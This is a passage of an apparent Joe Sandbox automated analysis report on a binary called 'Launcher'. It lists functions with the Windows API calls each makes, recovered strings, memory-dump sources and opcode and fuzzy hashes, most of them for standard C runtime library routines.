Instruction Fuzzy Hash: 6501F43768C2560ECB25DF78AA6A7ACBB20EFA6334F20D16FD055D93D2CB124855C610

Function 009E04C1 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,009D119F,?,?,009C31F2,00001000,?,009C313A), ref: 009E04F3

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2af63e6e689bbef2802ca5fa514c24a897cf1a36f8dd3e61d663baf27b142ce4
Instruction ID: bef14e51aecc03159e774ad9f6ba15c47e1bad150c848acee04404e089b1e60e
Opcode Fuzzy Hash: 2af63e6e689bbef2802ca5fa514c24a897cf1a36f8dd3e61d663baf27b142ce4
Instruction Fuzzy Hash: A7E06C3228515257D7222767DD00B5F3A4CAFC27A0F155111BE15A61E0FEA0DC519591

Function 009D0500 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 009D0521

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: e661e17063f482c27c2836dd3bd1e7e1a569301e29a1a9b0824203d682e51f04
Instruction ID: 829168931f45085b5e530aa9671f893cae440c979682691f45629e1f8b103b9c
Opcode Fuzzy Hash: e661e17063f482c27c2836dd3bd1e7e1a569301e29a1a9b0824203d682e51f04
Instruction Fuzzy Hash: FAE04F70C4020CABCB04EFB5E142A6EB7B8AFC0310F1080AEE84967351DB359E04CF42

Function 009CB9E0 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 009CBA01

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: d54092ffe385f37bf38e100b09a46dbf490ab7c81b07d1c2ddcf268f775d5759
Instruction ID: cb80712c288e855e7f60391e699024d71910ce4da96f452cc7dcdb2025421e19
Opcode Fuzzy Hash: d54092ffe385f37bf38e100b09a46dbf490ab7c81b07d1c2ddcf268f775d5759
Instruction Fuzzy Hash: A1E0BF70D4420CABCB04EFA4E156B9DB7B9AF84314F5040ADE85A67361DB325E54CB46

Non-executed Functions

Function 009EBA42 Relevance: 12.0, APIs: 1, Strings: 5, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009EBC59

Strings

1#INF, xrefs: 009EBB78
1#IND, xrefs: 009EBB47
A2sx, xrefs: 009EBA4D
1#QNAN, xrefs: 009EBB55
1#SNAN, xrefs: 009EBB4E

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN$A2sx
API String ID: 4168288129-681800871
Opcode ID: eb1d1e52c1fe017be047273e60930cd71835b0e0949b607f5b5fff31965d6347
Instruction ID: 938e35732c0f3a5975896be5a82d8326d1855898fd913fb7f85efe301ebc7828
Opcode Fuzzy Hash: eb1d1e52c1fe017be047273e60930cd71835b0e0949b607f5b5fff31965d6347
Instruction Fuzzy Hash: FED23BB1E082698FDB66CE29CD407EAB7B9FB44305F1445EAD44DE7240E778AE818F41

Function 009E566E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 009E5776
IsValidCodePage.KERNEL32(00000000), ref: 009E57B4
IsValidLocale.KERNEL32(?,00000001), ref: 009E57C7
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 009E580F
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 009E582A

Strings

A2sx, xrefs: 009E5676

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: A2sx
API String ID: 415426439-2144273025
Opcode ID: 986e1f9ce4d0425527b70d1b0df8e090adb4d60397afa8ec48924ab4d90613f1
Instruction ID: bd5698964cf3988cc43bdff648a88f359ec0be9c7750622f0f8d77a97ecae532
Opcode Fuzzy Hash: 986e1f9ce4d0425527b70d1b0df8e090adb4d60397afa8ec48924ab4d90613f1
Instruction Fuzzy Hash: 20518B71A00689EFDB12DFA6CC41BBE77BCAF44708F1A4429E901E7190EB719E40CB61

Function 009E63B5 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009E64A5

Strings

A2sx, xrefs: 009E63C0

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FileFindFirst
String ID: A2sx
API String ID: 1974802433-2144273025
Opcode ID: d5c3ebf1dd59309feca671f4f9dd132f51a08d4309cafb8159a4ec2316743679
Instruction ID: 99d14a8ba53f8869418eff1bccc803d28102cd8b78f7205c169ccf2f08a7d5eb
Opcode Fuzzy Hash: d5c3ebf1dd59309feca671f4f9dd132f51a08d4309cafb8159a4ec2316743679
Instruction Fuzzy Hash: 047108B1905198AFDF22AF29CC89BBEBBB8AB55344F1441D9F04893251EB319E84DF10

Function 009E5DD3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,009E57A4,00000002,00000000,?,?,?,009E57A4,?,00000000), ref: 009E5E6C
GetLocaleInfoW.KERNEL32(?,20001004,009E57A4,00000002,00000000,?,?,?,009E57A4,?,00000000), ref: 009E5E95
GetACP.KERNEL32(?,?,009E57A4,?,00000000), ref: 009E5EAA

Strings

ACP, xrefs: 009E5DF1
OCP, xrefs: 009E5E27

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e1c6867f7cbd38a0fb04bc4a20283524eef0c2f439005c77f9590616a6bf1d27
Instruction ID: c0e8b540184ba367c9613838834b3efcde594ae1154d63320a40e6d45a0ec0f8
Opcode Fuzzy Hash: e1c6867f7cbd38a0fb04bc4a20283524eef0c2f439005c77f9590616a6bf1d27
Instruction Fuzzy Hash: 3221A771600980BAD7369F56C904AA773AAEB54F5CB57442CE90ADB110E732EF40C790

Function 009E595A Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009E59AE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009E59F8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009E5ABE

Strings

A2sx, xrefs: 009E5965

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID: A2sx
API String ID: 661929714-2144273025
Opcode ID: 1f3805dd78c025a0a8847129b97fa2c52db86665d607de0179269c5310b90be8
Instruction ID: 26c75304acd3d56eccae42cbaf54cdcb15f42103b345a2c00f86bb6fd8c79634
Opcode Fuzzy Hash: 1f3805dd78c025a0a8847129b97fa2c52db86665d607de0179269c5310b90be8
Instruction Fuzzy Hash: 2061CE71910A47AFDB2A9F2ACCC2BBA77A8FF44318F1541B9E905C6285E774DD80CB50

Function 009DCDB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 009DCEA8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 009DCEB2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 009DCEBF

Strings

A2sx, xrefs: 009DCDBB

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: A2sx
API String ID: 3906539128-2144273025
Opcode ID: 3bc9795e3c52c77805493bf745a77180acd87c3fd42614609e8d084830303acf
Instruction ID: a484055871e5ae04dd4a6266fd9f99fec66f11954d26dfbddbaa76de2bd2d3bf
Opcode Fuzzy Hash: 3bc9795e3c52c77805493bf745a77180acd87c3fd42614609e8d084830303acf
Instruction Fuzzy Hash: 6A31C2B59512189BCB21DF28D88879DBBB8BF08310F5081EAE41CA7250E7709F85DF44

Function 009DE930 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction ID: 65e5a5fd77abd21204b68cec5bfc0713a6bf9a1d10fed02871dedbba1fbb0c74
Opcode Fuzzy Hash: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction Fuzzy Hash: D9024B71E412199FDF14DFA9C9807AEBBF5FF88314F24826AD519AB380D731A941CB90

Function 009D4073 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 009D407F
IsDebuggerPresent.KERNEL32 ref: 009D414B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009D4164
UnhandledExceptionFilter.KERNEL32(?), ref: 009D416E

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7de76a538461527e0d0a0df1e98f272f5729f82bba856ecb19a69af71e5f86d3
Instruction ID: 15798c227de34dde0d7d0216782f3c110f0bc5655b87df93aec1cc9d39a366d9
Opcode Fuzzy Hash: 7de76a538461527e0d0a0df1e98f272f5729f82bba856ecb19a69af71e5f86d3
Instruction Fuzzy Hash: E43108B5D452189BDF20DFA4D9497CDBBB8EF18300F1081AAE50CAB250EB719B84DF45

Function 009D47EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,009D3918,009D386B,?,?,?,?,009D386B,?,00000000,?,009CB20C,?,?,009CD57E), ref: 009D4827
GetSystemTimeAsFileTime.KERNEL32(?,78733241,?,?,009F0227,000000FF,?,009D4534,?,?,?,?,009D4558,00000000,?), ref: 009D482B

Strings

A2sx, xrefs: 009D4801

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID: A2sx
API String ID: 743729956-2144273025
Opcode ID: a7c398bd0b2190db57083eb9474d117bc33026a55a4685128aa978fd7ae3be29
Instruction ID: 8f04c77b002634f6664a2bc87b64fca3f4b4053f83ae3897940b15ba0acebd00
Opcode Fuzzy Hash: a7c398bd0b2190db57083eb9474d117bc33026a55a4685128aa978fd7ae3be29
Instruction Fuzzy Hash: 21F0E572A5C558EFC7019F44EC45BADB7A8F708B20F00422AE812D37A0CB356800EB90

Function 009E6304 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1797: HeapAlloc.KERNEL32(00000008,00001000,?,?,009E08B1,00000001,00000364,?,00000006,000000FF,?,?,009DC669,009E0504), ref: 009E17D8

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009E64A5
FindNextFileW.KERNEL32(00000000,?), ref: 009E6599
FindClose.KERNEL32(00000000), ref: 009E65D8
FindClose.KERNEL32(00000000), ref: 009E660B

Strings

A2sx, xrefs: 009E63C0

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID: A2sx
API String ID: 2701053895-2144273025
Opcode ID: 9166b18160a495caca5eacd8e9f1d940bf64ca2e3d9ce0ec39cff90f60d578f7
Instruction ID: 2d23693004295cb3891f8ed769287ce74367026dfcfabbf5cb01a221083bf4cc
Opcode Fuzzy Hash: 9166b18160a495caca5eacd8e9f1d940bf64ca2e3d9ce0ec39cff90f60d578f7
Instruction Fuzzy Hash: 8551AA75900298AFDF12AF2A8C85AFE77BDDFA5394F14419DF41893251EA309D419B20

Function 009E5C0C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009E5C60

Strings

A2sx, xrefs: 009E5C17

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: A2sx
API String ID: 3736152602-2144273025
Opcode ID: 568a3f1f65d9baacb4b26ac1cbebeb6702ca8cedd48c5d6eb5e91de7f920f33c
Instruction ID: ba0f706e75eba8fde99a132dcfd10c981e8549658bfde603a0e42b8ae2b4a7bc
Opcode Fuzzy Hash: 568a3f1f65d9baacb4b26ac1cbebeb6702ca8cedd48c5d6eb5e91de7f920f33c
Instruction Fuzzy Hash: BD21B372615746ABDB299B2ADD51B7A73ACEF84318B21007EFD01D6241EB74AD40CB50

Function 009E5D2C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009E5D80

Strings

A2sx, xrefs: 009E5D37

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: A2sx
API String ID: 3736152602-2144273025
Opcode ID: 89db53752acd7f7e38244da65bdf70958e5be7dd92126da1cd00b5faa2d730b9
Instruction ID: b8e456f995f984817af67650813d59e778c499b4cd5bb650cdbbba68e285ad55
Opcode Fuzzy Hash: 89db53752acd7f7e38244da65bdf70958e5be7dd92126da1cd00b5faa2d730b9
Instruction Fuzzy Hash: 4611E972611646ABD725AF25DC46BBA73ECEF84314B11007AF901DB281EB74ED44D750

Function 009E16A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009DD047: EnterCriticalSection.KERNEL32(?,?,009DA841,00000000,009FB3D8,0000000C,009DA7FA,00001000,?,009E17CA,00001000,?,009E08B1,00000001,00000364,?), ref: 009DD056

EnumSystemLocalesW.KERNEL32(009E169A,00000001,009FB7F0,0000000C,009E10A8,-00000050), ref: 009E16DF

Strings

A2sx, xrefs: 009E16E7

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
